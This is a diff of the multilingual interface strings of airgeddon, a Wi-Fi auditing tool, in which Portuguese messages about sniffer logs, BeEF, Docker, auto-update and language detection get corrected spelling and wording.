arr["CATALAN",304]="Analitzant log del sniffer..." - arr["PORTUGUESE",304]="Analizando log do Sniffer..." + arr["PORTUGUESE",304]="Analisando log do Sniffer..." arr["RUSSIAN",304]="Разбор журнала сниффера..." arr["GREEK",304]="Γίνεται ανάλυση του log του sniffer..." arr["ITALIAN",304]="Analizzando log dello sniffer..." @@ -3734,7 +3734,7 @@ function language_strings() { arr["SPANISH",326]="¿Vas a utilizar el método de la interfaz con acceso a internet? ${pink_color}Si la respuesta es no (\"n\"), necesitarás tener instalado ${optional_tools_names[12]} para continuar. Ambas cosas se comprobarán ${normal_color}${visual_choice}" arr["FRENCH",326]="Allez-vous choisir la méthode qui emploie une interface connectée à internet? ${pink_color}Si la réponse est non (\"n\"), vous m'avez besoin de ${optional_tools_names[12]}. Une vérication se fera à ce niveau avant de lancer l'une ou l'autre méthode${normal_color}${visual_choice}" arr["CATALAN",326]="¿Vas a utilitzar el mètode de la interfície amb accés a internet? ${pink_color}Si la resposta és no (\"n\"), necessitaràs tenir instal·lat ${optional_tools_names[12]} per continuar. Totes dues coses es comprovaran ${normal_color}${visual_choice}" - arr["PORTUGUESE",326]="Você gostaria de ultilizar uma interface com acesso à internet para o ataque? ${pink_color}Se a resposta for não (\"n\"), você precisa ter instalado ${optional_tools_names[12]} para continuar. Ambos serão verificados ${normal_color}${visual_choice}" + arr["PORTUGUESE",326]="Você gostaria de utilizar uma interface com acesso à internet para o ataque? ${pink_color}Se a resposta for não (\"n\"), você precisa ter instalado ${optional_tools_names[12]} para continuar. Ambos serão verificados ${normal_color}${visual_choice}" arr["RUSSIAN",326]="Собираетесь ли вы использовать этот метод с Интернет-доступом? ${pink_color}Если ответ нет (\"п\"), то для продолжения вам нужно установить ${optional_tools_names[12]}. Будут выполнены проверки обоих условий ${normal_color}${visual_choice}" arr["GREEK",326]="Σκοπεύετε να χρησιμοποιήσετε την διεπαφή με την μέθοδο πρόσβασης στο διαδίκτυο; ${pink_color}Αν απαντήσετε όχι (\"n\"), θα πρέπει να έχετε το ${optional_tools_names[12]} εγκατεστημένο για να συνεχίσετε. Και τα δύο ελέγχονται ${normal_color}${visual_choice}" arr["ITALIAN",326]="Hai intenzione di utilizzare il metodo dell'interfaccia con accesso ad internet? ${pink_color}Se la risposta è no (\"n\") hai bisogno di tenere installato ${optional_tools_names[12]} per continuare. Entrambi saranno controllati ${normal_color}${visual_choice}" @@ -4624,7 +4624,7 @@ function language_strings() { arr["SPANISH",415]="${blue_color}airgeddon sabe que tienes BeEF instalado y pasas la validación, pero no ha podido concretar la ruta del directorio exacto donde tienes instalado BeEF. Conocer la localización exacta tiene algunas ventajas a la hora de ejecutarlo ya que la configuración será personalizada en lugar de ser una configuración genérica. ${green_color}¿Quieres introducirla manualmente? ${normal_color}${visual_choice}" arr["FRENCH",415]="${blue_color}airgeddon a bien détecté que BeEF est installé mais il n'est malheuruesement pas possible de trouver le dossier le contenant. En l'état actuel des choses il ne sera pas possible de personaliser les parmétres d'éxécution de BeEF. ${green_color}Voulez-vous saisir l'emplacement du dossier? ${normal_color}${visual_choice}" arr["CATALAN",415]="${blue_color}airgeddon sap que tens BeEF instal·lat i passes la validació, però no ha pogut concretar la ruta del directori exacte on has instal·lat BeEF. Conèixer la localització exacta té alguns avantatges a l'hora d'executar ja que la configuració serà personalitzada en lloc de ser una configuració genèrica. ${green_color}¿Vols introduir-la manualment? ${normal_color}${visual_choice}" - arr["PORTUGUESE",415]="${blue_color}O airgeddon sabe que você instalou o BeEF e validou a instalacão, mas não pôde encontrar o diretório exato onde você instalou o BeEF. Saber a localização exata tem algumas vantagens quando executá-lo a configuração será personalizada em vez de uma configuração genérica. ${green_color}Você quer inseri-la manualmente? ${normal_color}${visual_choice}" + arr["PORTUGUESE",415]="${blue_color}O airgeddon sabe que você instalou o BeEF e validou a instalação, mas não pôde encontrar o diretório exato onde você instalou o BeEF. Saber a localização exata tem algumas vantagens quando executá-lo a configuração será personalizada em vez de uma configuração genérica. ${green_color}Você quer inseri-la manualmente? ${normal_color}${visual_choice}" arr["RUSSIAN",415]="${blue_color}airgeddon знает, что у вас установлен BeEF и вы успешно прошли проверку, но скрипт оказался не в состоянии найти правильный путь к каталогу, где вы установили BeEF. Знание расположения даёт некоторые преимущества при выполнении, поскольку появляется возможность настроить его конфигурационный файл, а не использовать настройки по умолчанию. ${green_color}Вы хотите ввести расположение вручную? ${normal_color}${visual_choice}" arr["GREEK",415]="${blue_color}Το airgeddon γνωρίζει ότι έχετε εγκατεστημένο το BeEF και έχετε περάσει τους απαραίτητους ελέγχους, αλλά δεν μπόρεσε να εντοπίσει το σωστό μονοπάτι για τον κατάλογο όπου έχετε εγκαταστήσει το BeEF. Γνωρίζοντας το μονοπάτι για τον κατάλογο κάνει την διαδικασία της εκτέλεσης πλεονεκτική γιατί το αρχείο παραμέτρων μπορεί να ρυθμιστεί καταλλήλως, αντιθέτως με το προεπιλεγμένο. ${green_color}Θέλετε να το εισάγετε χειροκίνητα; ${normal_color}${visual_choice}" arr["ITALIAN",415]="${blue_color}airgeddon sa che hai BeEF installato e passi la validazione, peró non ha potuto trovare il percorso esatto della directory in cui hai installato BeEF. Conoscere l'esatta posizione ha alcuni vantaggi all'ora di eseguiro perchè la configurazione sarà personalizzata, piuttosto che una configurazione generica. ${green_color}Vuoi inserirla manualmente? ${normal_color}${visual_choice}" @@ -4674,7 +4674,7 @@ function language_strings() { arr["SPANISH",420]="Se ha detectado que estás ejecutando airgeddon en un contenedor de Docker. En este ataque se utiliza hostapd para crear un falso AP. Este componente suele dar conflicto con network-manager. Desde el contenedor, airgeddon no puede gestionarlo. Si tienes network-manager instalado en tu máquina host, ciérralo o mata los procesos en conflicto u obtendrás un error. Para más información consulta la sección Docker del Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["FRENCH",420]="Il a été détecté qu'airgeddon a été lancé depuis un conteneur Docker. Cette attaque à besoin d'hostapd pour créer un Point d'Accès piège. Hostapd a tendance à entrer en conflit avec network-manager et airgeddon ne peut pas le gérer depuis le conteneur. Si network-manager est installé sur votre machine host, arrêtez ou tuez les processus conflictuels. Dans le cas contraire vous obtiendrez une erreur. Pour plus d'informations, consultez la section Docker de notre Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["CATALAN",420]="S'ha detectat que estàs executant airgeddon en un contenidor de Docker. En aquest atac s'utilitza hostapd per crear un fals AP. Aquest component sol donar conflicte amb network-manager. Des del contenidor, airgeddon no pot gestionar-lo. Si tens network-manager instal·lat a la teua màquina host, tanca'l o mata els processos en conflicte u obtindràs un error. Per a més informació consulta la secció Docker del Wiki: ${normal_color}${urlgithub_wiki}/Docker" - arr["PORTUGUESE",420]="Detectamos que você está executando airgeddon em um container Docker. Neste ataque é usado hostapd para criar um AP falso. Este componente tende a entrar em conflito com network-manager. A partir do container o airgeddon não pode controlá-lo. Se você tem network-manager instalado em sua máquina host feche-o, mate os processos conflitantes ou você irá obter um erro. Para mais informações consulte a seção Docker Wiki: ${normal_color}${urlgithub_wiki}/Docker" + arr["PORTUGUESE",420]="Detectamos que você está executando airgeddon em um contêiner Docker. Neste ataque é usado hostapd para criar um AP falso. Este componente tende a entrar em conflito com network-manager. A partir do contêiner o airgeddon não pode controlá-lo. Se você tem network-manager instalado em sua máquina host feche-o, mate os processos conflitantes ou você irá obter um erro. Para mais informações consulte a seção Docker Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["RUSSIAN",420]="Определено, что вы запускаете airgeddon внутри контейнера Docker. Во время этой атаки для создания поддельной AP используется hostapd. Этот компонент часто конфликтует с network-manager. Изнутри контейнера airgeddon не может справиться с этим. Если на вашем хост-компьютере установлен network-manager, закройте его или уберите конфликтующие процессы, иначе вы получите сообщение об ошибке. Для получения дополнительной информации см. раздел Docker в Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["GREEK",420]="Εντοπίστηκε πως τρέχετε το airgeddon μέσα σε Docker container. Κατά τη διάρκεια αυτής της επίθεσης χρησιμοποιείται το hostapd για να δημιουργήσει ψεύτικο AP. Η δημιουργία αυτού κάνει conflicts με τον network-manager. Το airgeddon δεν μπορεί να το χειριστεί μέσα από το container. Αν υπάρχει ο network-manager εγκατεστημένος στον host-υπολογιστή, κλείστε τον ή διακόψτε τις διεργασίες που κάνουν conflict αλλιώς θα υπάρξουν σφάλματα. Για περισσότερες πληροφορίες, ανατρέξτε στην ενότητα Docker του Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["ITALIAN",420]="È stato rilevato che si sta eseguendo airgeddon in un contenitore Docker. In questo attacco viene utilizzato hostapd per creare un falso AP. Questo componente tende a creare un conflitto con il network-manager. Dal contenitore, airgeddon non può gestirlo. Se si dispone di network-manager installato sul computer host, chiuderlo o uccidere i processi in conflitto o ci sará un errore. Per ulteriori informazioni consultare la sezione Docker della nostra Wiki: ${normal_color}${urlgithub_wiki}/Docker" @@ -4694,7 +4694,7 @@ function language_strings() { arr["SPANISH",422]="La actualización automática se ha desactivado cuando airgeddon se ejecuta en un contenedor de Docker. Si deseas actualizarlo descarga de nuevo la imagen con tag \"latest\"" arr["FRENCH",422]="La mise à jour automatique est désactivée si airgeddon s'exécute depuis un conteneur Docker. Si vous voulez le mettre à jour vous devez télécharger l'image avec le label \"latest\"" arr["CATALAN",422]="L'actualització automàtica s'ha desactivat quan airgeddon s'executa en un contenidor de Docker. Si vols actualitzar-lo descàrrega de nou la imatge amb tag \"latest\"" - arr["PORTUGUESE",422]="A atualização automática é desativada quando airgeddon é executado em um container Docker. Se você quiser atualizar faça o download novamente da imagem em \"latest\"" + arr["PORTUGUESE",422]="A atualização automática é desativada quando airgeddon é executado em um contêiner Docker. Se você quiser atualizar faça o download novamente da imagem em \"latest\"" arr["RUSSIAN",422]="Когда airgeddon работает в контейнере Docker, то автоматическое обновление отключено,. Если вы хотите обновить программу, то снова загрузите образ отмеченный как \"latest\"" arr["GREEK",422]="Η διαδικασία της αυτόματης ενημέρωσης είναι απενεργοποιημένη όταν το airgeddon τρέχει σε Docker container. Εάν θέλετε να το ενημερώσετε, κατεβάστε ξανά το αρχείο με την ετικέτα \"latest\"" arr["ITALIAN",422]="L'aggiornamento automatico viene disabilitato quando airgeddon viene eseguito in un contenitore Docker. Se vuoi aggiornarlo scaricare di nuovo l'immagine con il tag \"latest\"" @@ -4904,7 +4904,7 @@ function language_strings() { arr["SPANISH",443]="Menú de opciones e idioma" arr["FRENCH",443]="Menu options et langues" arr["CATALAN",443]="Menú d'opcions i idioma" - arr["PORTUGUESE",443]="Opções de menu e linguagem" + arr["PORTUGUESE",443]="Opções de menu e idioma" arr["RUSSIAN",443]="Настройки и языковое меню" arr["GREEK",443]="Μενού επιλογών και γλώσσας" arr["ITALIAN",443]="Menú opzioni e lingua" @@ -4914,7 +4914,7 @@ function language_strings() { arr["SPANISH",444]="11. Menú de opciones e idioma" arr["FRENCH",444]="11. Menu options et langues" arr["CATALAN",444]="11. Menú d'opcions i idioma" - arr["PORTUGUESE",444]="11. Opções de menu e linguagem" + arr["PORTUGUESE",444]="11. Opções de menu e idioma" arr["RUSSIAN",444]="11. Настройки и языковое меню" arr["GREEK",444]="11. Μενού επιλογών και γλώσσας" arr["ITALIAN",444]="11. Menú opzioni e lingua" @@ -4924,7 +4924,7 @@ function language_strings() { arr["SPANISH",445]="Si tienes instalado ccze y experimentas errores de visualización o parpadeos en algunas ventanas, desactiva la colorización en el menú de opciones e idioma" arr["FRENCH",445]="Si ccze est installé et que vous avez des erreurs d'affichage et de clignotement avec certaines fenêtres, désactivez la colorisation depuis le menu options et langues" arr["CATALAN",445]="Si tens instal·lat ccze i experimentes errors de visualització o pampallugues en algunes finestres, desactiva la coloració al menú d'opcions i idioma" - arr["PORTUGUESE",445]="Se você tiver ccze instalado e estiver com erros de exibição ou com algumas janelas piscando, desative a colorização em opções de menu e linguagem" + arr["PORTUGUESE",445]="Se você tiver ccze instalado e estiver com erros de exibição ou com algumas janelas piscando, desative a colorização em opções de menu e idioma" arr["RUSSIAN",445]="Если у вас установлен ccze и возникают ошибки отображения или сбои в некоторых окнах, вы должны отключить цветной вывод в пункте Настройки и языковое меню" arr["GREEK",445]="Εάν έχετε εγκαταστήσει το ccze και αντιμετωπίζετε σφάλματα εμφάνισης ή δυσλειτουργίες σε ορισμένα παράθυρα, θα πρέπει να απενεργοποιήσετε τον χρωματισμό στο μενού επιλογών και γλώσσας" arr["ITALIAN",445]="Se hai installato ccze e vedi errori o alcune finestre tremolanti, disattiva la colorazione nel menú opzioni e lingua" @@ -4954,7 +4954,7 @@ function language_strings() { arr["SPANISH",448]="Si instalaste airgeddon desde un repositorio, no deberías activar la actualización automática. airgeddon se actualizará cuando haya una nueva versión en el repositorio" arr["FRENCH",448]="Si vous avez installé airgeddon depuis des dêpots vous devriez ne pas activer les mises à jour automatiques. airgeddon sera mis à jour quand une nouvelle version sera disponible dans vos dépôts" arr["CATALAN",448]="Si vas instal·lar airgeddon des d'un repositori, no hauries d'activar l'actualització automàtica. airgeddon s'actualitzarà quan hi hagi una nova versió al repositori" - arr["PORTUGUESE",448]="Se você instalou airgeddon partir de um repositório, você não deve ativar a atualização automática. airgeddon será atualizado quando houvér nova versão no repositório" + arr["PORTUGUESE",448]="Se você instalou airgeddon partir de um repositório, você não deve ativar a atualização automática. airgeddon será atualizado quando houver nova versão no repositório" arr["RUSSIAN",448]="Если вы установили airgeddon из репозитория, вам не следует включать автоматические обновления. airgeddon будет обновляться, когда в репозитории будет новая версия" arr["GREEK",448]="Αν εγκαταστήσατε το airgeddon από κάποιο επίσημο αποθετήριο, δεν θα πρέπει να ενεργοποιήσετε τις αυτόματες ενημερώσεις. Το airgeddon θα ενημερωθεί όταν υπάρξει κάποια νέα έκδοση στο επίσημο αποθετήριο" arr["ITALIAN",448]="Se è stato installato airgeddon da un repository, non si dovrebbe attivare l'aggiornamento automatico. airgeddon sará aggiornato quando ci sará una nuova versione nel repository" @@ -5064,7 +5064,7 @@ function language_strings() { arr["SPANISH",459]="Si instalaste airgeddon desde un repositorio no deberías activar esta opción. airgeddon se actualizará cuando lo hagan los repositorios. Si continuas, asegúrate de saber bien lo que haces o podrías causar problemas con flujo de actualizaciones" arr["FRENCH",459]="Si airgeddon a été installé depuis des dépôts vous devriez ne pas activer cette option. airgeddon sera mis à jour automatiquement en passant par vos dépôts. Si vous décidez de continuer soyez conscient du fait que vous pourriez générer ainsi des conflits lors de futures actualisations système" arr["CATALAN",459]="Si vas instal·lar airgeddon des d'un repositori no hauries d'activar aquesta opció. airgeddon s'actualitzarà quan ho facin els repositoris. Si continues, assegura't de saber bé el que fas o podries causar problemes amb flux d'actualitzacions" - arr["PORTUGUESE",459]="Se você instalou airgeddon a partir de um repositório você não deve ativar essa opção. airgeddon será atualizado quando você estiver disponivel nos repositórios. Se você continuar, verifique se você sabe o que está fazendo ou ou você pode causar problemas com o fluxo de atualização" + arr["PORTUGUESE",459]="Se você instalou airgeddon a partir de um repositório você não deve ativar essa opção. airgeddon será atualizado quando você estiver disponível nos repositórios. Se você continuar, verifique se você sabe o que está fazendo ou ou você pode causar problemas com o fluxo de atualização" arr["RUSSIAN",459]="Если вы установили airgeddon из репозитория, вы не должны включать эту опцию. airgeddon будет обновляться вместе с репозиториями. Если вы продолжите, убедитесь, что знаете, что делаете, или ваши действия могут вызвать проблемы для этой программы" arr["GREEK",459]="Εάν εγκαταστήσατε το airgeddon από κάποιο επίσημο αποθετήριο, δεν πρέπει να ενεργοποιήσετε αυτή την επιλογή. Το airgeddon θα ενημερωθεί όταν ενημερωθούν και τα αποθετήρια. Αν συνεχίσετε, βεβαιωθείτε ότι γνωρίζετε τι κάνετε και ότι θα μπορεί να προκαλέσετε προβλήματα με τη ροή ενημέρωσης" arr["ITALIAN",459]="Se airgeddon è stato installato da un repository non si dovrebbe attivare questa opzione. airgeddon sará aggiornato quando lo faranno i repository. Se continui, assicurati di sapere bene quello che fai o potrebbe causare problemi al flusso degli aggiornamenti" @@ -5144,7 +5144,7 @@ function language_strings() { arr["SPANISH",467]="4. Habilitar permanentemente la autodetección de idioma al inicio" arr["FRENCH",467]="4. Activer de façon permanente la détection de langue au lancement" arr["CATALAN",467]="4. Habilitar permanentment l'autodetecció d'idioma a l'inici" - arr["PORTUGUESE",467]="4. Ativar permanentemente autodetecção de linguagem no início" + arr["PORTUGUESE",467]="4. Ativar permanentemente a detecção do idioma no início" arr["RUSSIAN",467]="4. Автоматическое определение языка постоянно отключено" arr["GREEK",467]="4. Ενεργοποίηση του αυτόματου εντοπισμού γλώσσας κατά την εκκίνηση μόνιμα" arr["ITALIAN",467]="4. Abilitare permanentemente il rilevamento automatico della lingua all'inizio" @@ -5154,7 +5154,7 @@ function language_strings() { arr["SPANISH",468]="4. Deshabilitar permanentemente la autodetección de idioma al inicio" arr["FRENCH",468]="4. Désactiver de façon permanente la détection de langue au lancement" arr["CATALAN",468]="4. Deshabilitar permanentment l'autodetecció d'idioma a l'inici" - arr["PORTUGUESE",468]="4. Desativar permanentemente a autodetecção de linguagem no início" + arr["PORTUGUESE",468]="4. Desativar permanentemente a detecção do idioma no início" arr["RUSSIAN",468]="4. Постоянное отключение автоматического определения языка" arr["GREEK",468]="4. Απενεργοποίηση του αυτόματου εντοπισμού γλώσσας κατά την εκκίνηση μόνιμα" arr["ITALIAN",468]="4. Disattivare permanentemente il rilevamento automatico della lingua all'inizio" @@ -5164,7 +5164,7 @@ function language_strings() { arr["SPANISH",469]="${blue_color}Se va a deshabilitar la autodetección de idioma al inicio. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" arr["FRENCH",469]="${blue_color}Désactivation détection langue au lancement. ${green_color}Voulez-vous continuer? ${normal_color}${visual_choice}" arr["CATALAN",469]="${blue_color}Es va a desactivar la detecció automàtica d'idioma a l'inici. ${green_color}¿Vols continuar? ${normal_color}${visual_choice}" - arr["PORTUGUESE",469]="${blue_color}A autodeteção de linguagem será desativada. ${green_color}Você deseja continuar? ${normal_color}${visual_choice}" + arr["PORTUGUESE",469]="${blue_color}A detecção automática do idioma será desativada. ${green_color}Você deseja continuar? ${normal_color}${visual_choice}" arr["RUSSIAN",469]="${blue_color}Автоопределение языка при запуске будет отключено. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",469]="${blue_color}Ο αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση θα απενεργοποιηθεί. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",469]="${blue_color}Si sta per disabilitare il rilevamento automatico della lingua all'inizio ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" @@ -5174,7 +5174,7 @@ function language_strings() { arr["SPANISH",470]="${blue_color}Se va a habilitar la autodetección de idioma al inicio. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" arr["FRENCH",470]="${blue_color}Activation détection langue au lancement. ${green_color}Voulez-vous continuer? ${normal_color}${visual_choice}" arr["CATALAN",470]="${blue_color}Es va a habilitar la detecció automàtica d'idioma a l'inici. ${green_color}¿Vols continuar? ${normal_color}${visual_choice}" - arr["PORTUGUESE",470]="${blue_color}A autodeteção de linguagem será ativada. ${green_color}Você deseja continuar? ${normal_color}${visual_choice}" + arr["PORTUGUESE",470]="${blue_color}A detecção automática do idioma será ativada. ${green_color}Você deseja continuar? ${normal_color}${visual_choice}" arr["RUSSIAN",470]="${blue_color} Автоопределение языка при запуске будет включено. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",470]="${blue_color}Ο αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση θα ενεργοποιηθεί. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",470]="${blue_color}Si sta per abilitare il rilevamento automatico della lingua all'inizio. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" @@ -5184,7 +5184,7 @@ function language_strings() { arr["SPANISH",471]="Cualquier cambio permanente de idioma que tenga se perderá en el siguiente inicio si activa esta opción!!" arr["FRENCH",471]="Les configurations permanentes de langue seront perdues au prochain démarrage si vous choisssez cette option!!" arr["CATALAN",471]="Qualsevol canvi permanent d'idioma que tinguis es perdrà en el següent inici si actives aquesta opció!!" - arr["PORTUGUESE",471]="Qualquer mudança na linguagem será perderida no próximo inicio se você habilitar esta opção!!" + arr["PORTUGUESE",471]="Qualquer alteração no idioma será perdida no próximo inicio se você habilitar esta opção!!" arr["RUSSIAN",471]="При включении этой опции, сделанный выбор по изменению языка будет потерян при следующем запуске!!" arr["GREEK",471]="Οποιαδήποτε μόνιμη αλλαγή της γλώσσας θα χαθεί κατά την επόμενη εκκίνηση, αν ενεργοποιήσετε αυτή την επιλογή!!" arr["ITALIAN",471]="Qualsiasi cambio permanente di lingua si perderá nel prossimo inizio se si attiva questa opzione!!" @@ -5194,7 +5194,7 @@ function language_strings() { arr["SPANISH",472]="Se ha activado la autodetección de idioma al inicio" arr["FRENCH",472]="Détection automatique du langage au démarrage activée" arr["CATALAN",472]="S'ha activat l'autodetecció d'idioma a l'inici" - arr["PORTUGUESE",472]="A autodetecção do idioma foi ativo na inicialização" + arr["PORTUGUESE",472]="A detecção automática do idioma foi ativa na inicialização" arr["RUSSIAN",472]="Автоматическое определение языка было включено" arr["GREEK",472]="Ο αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση έχει ενεργοποιηθεί" arr["ITALIAN",472]="Il rilevamento automatico della lingua all'inizio è abilitato" @@ -5204,7 +5204,7 @@ function language_strings() { arr["SPANISH",473]="Se ha desactivado la autodetección de idioma al inicio" arr["FRENCH",473]="Détection automatique du langage au démarrage désactivée" arr["CATALAN",473]="S'ha desactivat l'autodetecció d'idioma a l'inici" - arr["PORTUGUESE",473]="A autodetecção do idioma foi desativada na inicialização" + arr["PORTUGUESE",473]="A detecção automática do idioma desativada na inicialização" arr["RUSSIAN",473]="Автоматическое определение языка было отключено" arr["GREEK",473]="Ο αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση έχει απενεργοποιηθεί" arr["ITALIAN",473]="È stato disattivato il rilevamento automatico della lingua all'inizio" @@ -5214,7 +5214,7 @@ function language_strings() { arr["SPANISH",474]="Autodetección de idioma al inicio: ${pink_color}Activada${normal_color}" arr["FRENCH",474]="Détection automatique du langage au démarrage: ${pink_color}Activée${normal_color}" arr["CATALAN",474]="Autodetecció d'idioma a l'inici: ${pink_color}Activade${normal_color}" - arr["PORTUGUESE",474]="Auto detecção do idioma na inicialização: ${pink_color}ativa${normal_color}" + arr["PORTUGUESE",474]="Detecção automática do idioma: ${pink_color}ativa${normal_color}" arr["RUSSIAN",474]="Автоопределение языка при запуске: ${pink_color}Включено${normal_color}" arr["GREEK",474]="Αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση: ${pink_color}Ενεργοποιημένο${normal_color}" arr["ITALIAN",474]="Rilevamento automatico della lingua all'inizio: ${pink_color}Abilitato${normal_color}" @@ -5224,7 +5224,7 @@ function language_strings() { arr["SPANISH",475]="Autodetección de idioma al inicio: ${pink_color}Desactivada${normal_color}" arr["FRENCH",475]="Détection automatique du langage au démarrage: ${pink_color}Désactivée${normal_color}" arr["CATALAN",475]="Autodetecció d'idioma a l'inici: ${pink_color}Desactivade${normal_color}" - arr["PORTUGUESE",475]="Auto detecção do idioma na inicialização: ${pink_color}Desativa${normal_color}" + arr["PORTUGUESE",475]="Detecção automática do idioma: ${pink_color}Desativa${normal_color}" arr["RUSSIAN",475]="Автоопределение языка при запуске: ${pink_color}Отключено${normal_color}" arr["GREEK",475]="Αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση: ${pink_color}Απενεργοποιημένο${normal_color}" arr["ITALIAN",475]="Rilevamento automatico della lingua all'inizio: ${pink_color}Disabilitato${normal_color}" @@ -5234,7 +5234,7 @@ function language_strings() { arr["SPANISH",476]="No se ha detectado un sistema gráfico de ventanas X. Si lo tienes, comprueba su que esté funcionando correctamente. Es esencial para airgeddon. El script no puede continuar" arr["FRENCH",476]="Aucun système graphique X window détecté. Si un tel système est installé vérifiez qu'il fonctionne correctement. Le script ne peut pas continuer sans ça." arr["CATALAN",476]="No s'ha detectat un sistema gràfic de finestres X. Si el tens, comprova que estigui funcionant correctament. És essencial per a airgeddon. El script no pot continuar" - arr["PORTUGUESE",476]="Não foi detectado um sistema X Window (interface grafica). Se você possui, verifique se está funcionando corretamente. É essencial para airgeddon. O script não pode continuar" + arr["PORTUGUESE",476]="Não foi detectado um sistema X Window (interface gráfica). Se você possui, verifique se está funcionando corretamente. É essencial para airgeddon. O script não pode continuar" arr["RUSSIAN",476]="Графическая X система не обнаружена. Если она уже имеется, проверьте её работоспособность. Это важно для airgeddon. Скрипт не может продолжить" arr["GREEK",476]="Δεν έχει εντοπιστεί κάποιο γραφικό σύστημα παραθύρων X. Αν έχετε ήδη ένα, ελέγξτε ότι λειτουργεί σωστά. Είναι απαραίτητο για το airgeddon. Το script δεν μπορεί να συνεχίσει" arr["ITALIAN",476]="Non è stato rilevato un server X grafico, se è presente controllare il corretto funzionamento. È essenziale per airgeddon. Lo script non può continuare" @@ -5254,7 +5254,7 @@ function language_strings() { arr["SPANISH",478]="${blue_color}Se va a cambiar permanentemente el idioma al actual para que al siguiente inicio de airgeddon este sea el idioma en el que arranque directamente. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" arr["FRENCH",478]="${blue_color}La langue actuelle va être activée de façon permanente, c'est à dire que ce sera la langue d'usage lors des prochains démarrages d'airgeddon. ${green_color}Voulez-vous continuer? ${normal_color}${visual_choice}" arr["CATALAN",478]="${blue_color}Es canviarà permanentment l'idioma a l'actual perquè al següent inici d' airgeddon aquest sigui l'idioma en què arrenqui directament. ${green_color}¿Vols continuar? ${normal_color}${visual_choice}" - arr["PORTUGUESE",478]="${blue_color}A linguagem será definida permanentemente para a atual, no próximo início do airgeddon esta será a usada linguagem. ${green_color}Você deseja continuar? ${normal_color}${visual_choice}" + arr["PORTUGUESE",478]="${blue_color}O idioma será definida permanentemente para o atual, no próximo início do airgeddon este será o idioma usado. ${green_color}Você deseja continuar? ${normal_color}${visual_choice}" arr["RUSSIAN",478]="${blue_color}Текущий язык будет установлен как постоянный, поэтому при следующем запуске airgeddon он будет использоваться без определения языка системы. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",478]="${blue_color}Η τρέχουσα γλώσσα πρόκειται να τεθεί μόνιμα ως προεπιλεγμένη, ώστε κατά την επόμενη εκκίνηση του airgeddon θα χρησιμοποιηθεί κατ' ευθείαν αυτή. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",478]="${blue_color}Sarà modificata in modo permanente la lingua corrente in modo che al prossimo avvio di airgeddon questa sia la lingua di avvio. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" @@ -5264,7 +5264,7 @@ function language_strings() { arr["SPANISH",479]="Este cambio entra en conflicto con la autodetección del idioma al inicio que en este momento está activada. Se desactivará automáticamente para poder realizar el cambio" arr["FRENCH",479]="Ce changement entre en conflit avec la détection automatique de la langue au démarrage qui est actuellement activée. Elle va être automatiquement désactivée pour effectuer le changement" arr["CATALAN",479]="Aquest canvi entra en conflicte amb la detecció automàtica de l'idioma a l'inici que en aquest moment està activada. Es desactivarà automàticament per a poder realitzar el canvi" - arr["PORTUGUESE",479]="Esta mudança entra em conflito com a auto detecção de linguagem, ativa atualmente. Ela é desativa automaticamente ao fazer essa mudança" + arr["PORTUGUESE",479]="Esta mudança entra em conflito com a detecção automática do idioma, ativa atualmente. Ela será desativa automaticamente ao fazer essa mudança" arr["RUSSIAN",479]="Это изменение конфликтует с автоопределением языка, которое в данный момент включено. Оно будет автоматически отключено для выполнения изменения" arr["GREEK",479]="Αυτή η αλλαγή έρχεται σε σύγκρουση με τoν αυτόματo εντοπισμό της γλώσσας εκκίνησης, ο οποίος είναι αυτή τη στιγμή ενεργοποιημένος. Θα απενεργοποιηθεί αυτόματα για να πραγματοποιηθεί η αλλαγή αυτή" arr["ITALIAN",479]="Questo cambio è in conflitto con il rilevamento automatico di lingua di inizio che è attualmente attivo. Esso viene disattivato automaticamente per poter fare il cambio" @@ -5274,7 +5274,7 @@ function language_strings() { arr["SPANISH",480]="El idioma actual es el mismo que ya está puesto como permanente. No se realizarán cambios" arr["FRENCH",480]="La langue actuelle est la même que celle désignée comme langue permanente. Pas de changements" arr["CATALAN",480]="L'idioma actual és el mateix que ja està posat com permanent. No es realitzaran canvis" - arr["PORTUGUESE",480]="O idioma atual já é permanente. Nenhuma alteração será feita" + arr["PORTUGUESE",480]="O idioma atual já é o permanente. Nenhuma alteração será feita" arr["RUSSIAN",480]="Текущий язык тот же, что и уже установленный постоянный язык. Никаких изменений не будет сделано" arr["GREEK",480]="Η τρέχουσα γλώσσα είναι ίδια με τη μόνιμη γλώσσα που έχει οριστεί ήδη. Δεν θα γίνει καμία αλλαγή" arr["ITALIAN",480]="La lingua è la stessa che è giá impostata come permanente. Nessuna modifica sará effettuata" @@ -5314,7 +5314,7 @@ function language_strings() { arr["SPANISH",484]="Permisos de root correctamente detectados" arr["FRENCH",484]="Autorisation root detectés" arr["CATALAN",484]="Permisos de root correctament detectats" - arr["PORTUGUESE",484]="Permissões de root detectadas correctamente" + arr["PORTUGUESE",484]="Permissões de root detectadas corretamente" arr["RUSSIAN",484]="Успешно определены права root" arr["GREEK",484]="Τα δικαιώματα root έχουν παραχωρηθεί επιτυχώς" arr["ITALIAN",484]="I permessi di root sono stati rilevati correttamente" @@ -5384,7 +5384,7 @@ function language_strings() { arr["SPANISH",491]="El algoritmo Arcadyan no sirve para la red objetivo seleccionada, no se puede calcular un valor válido" arr["FRENCH",491]="L'algorithme Arcadyan ne correspond pas au 